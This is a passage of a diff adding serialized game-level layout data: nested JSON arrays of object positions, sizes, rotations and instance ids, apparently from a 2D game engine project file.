+ 1
+ ]
+ ],
+ [
+ [
+ 3226,
+ 791,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2185,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3227.89111328125,
+ 324.9150695800781,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 2175,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3062.00732421875,
+ 320.3266296386719,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2164,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3118.701416015625,
+ 507.8339233398438,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1885,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2937.47265625,
+ 509.80615234375,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1836,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2517.808349609375,
+ 602.89501953125,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1795,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2661.877685546875,
+ 320.5538024902344,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1827,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1524,
+ 754,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1767,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 526,
+ 754,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1766,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 561,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1598,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 262,
+ 599,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1597,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 276,
+ 570,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1549,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 155,
+ 566,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1551,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5128,
+ 938,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1764,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4899,
+ 1173,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1765,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3977,
+ 655,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1762,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4273,
+ 805,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1763,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2792,
+ 602,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1760,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589,
+ 616,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1761,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2618,
+ 653,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1756,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2366,
+ 643,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1738,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 617,
+ 852,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1728,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1183,
+ 798,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 1727,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1349,
+ 766,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1726,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 451,
+ 746,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1640,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4557.07275390625,
+ 709.4039916992188,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1528,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3496,
+ 771,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1529,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1667.345092773438,
+ 732.4446411132812,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1550,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5083,
+ 762,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 1552,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5083,800",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5085,
+ 778,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 1596,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 1599,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -849,
+ 1068,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1600,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1179,
+ 949,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0.4363323152065277,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 1601,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 1602,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 1603,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 1604,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 1605,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -138,
+ -345,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 1606,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ 1005,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 1607,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 1608,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 1609,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 154,
+ 562,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 1610,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 152,
+ 562,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 1611,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 154,
+ 537,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 1612,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 154,
+ 538,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 1613,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5086,
+ 786,
+ 0,
+ 13,
+ 1512,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 1614,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -416,
+ 221,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 1615,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 1616,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 130.9820098876953,
+ 706.6041870117188,
+ 0,
+ 441.6896057128906,
+ 277.7109375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1617,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2453,
+ 525.3271484375,
+ 0,
+ 161.224365234375,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 1619,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2518.89892578125,
+ 438,
+ 0,
+ 160.202392578125,
+ 30,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 367,
+ 1620,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2583,
+ 527.1318969726562,
+ 0,
+ 161.7362365722656,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 1621,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2453,
+ 525.8759155273438,
+ 0,
+ 12.728271484375,
+ 152.4375915527344,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 369,
+ 1622,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2519.41552734375,
+ 437,
+ 0,
+ 148.412841796875,
+ 12.87200927734375,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 370,
+ 1623,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2584,
+ 526.8759155273438,
+ 0,
+ 13.25102996826172,
+ 153.9715118408203,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 371,
+ 1624,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -194,
+ 81,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 1638,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -202,
+ 285,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 1639,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3120.0810546875,
+ 295.099365234375,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 1645,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2974.655029296875,
+ 262.1217956542969,
+ 0,
+ 24.95556640625,
+ 140.5006713867188,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 1646,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250.30517578125,
+ 261.1455688476563,
+ 0,
+ 25.62890625,
+ 135.7992553710938,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 1647,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3120.0810546875,
+ 283.099365234375,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 1648,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3099.0810546875,
+ 298.099365234375,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 1651,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3141.0810546875,
+ 298.099365234375,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 1656,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 1658,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 31,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1659,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -341,
+ 800,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 1660,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1661,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1662,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2184,
+ 2331,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1664,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1666,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1667,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1668,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1670,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1671,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
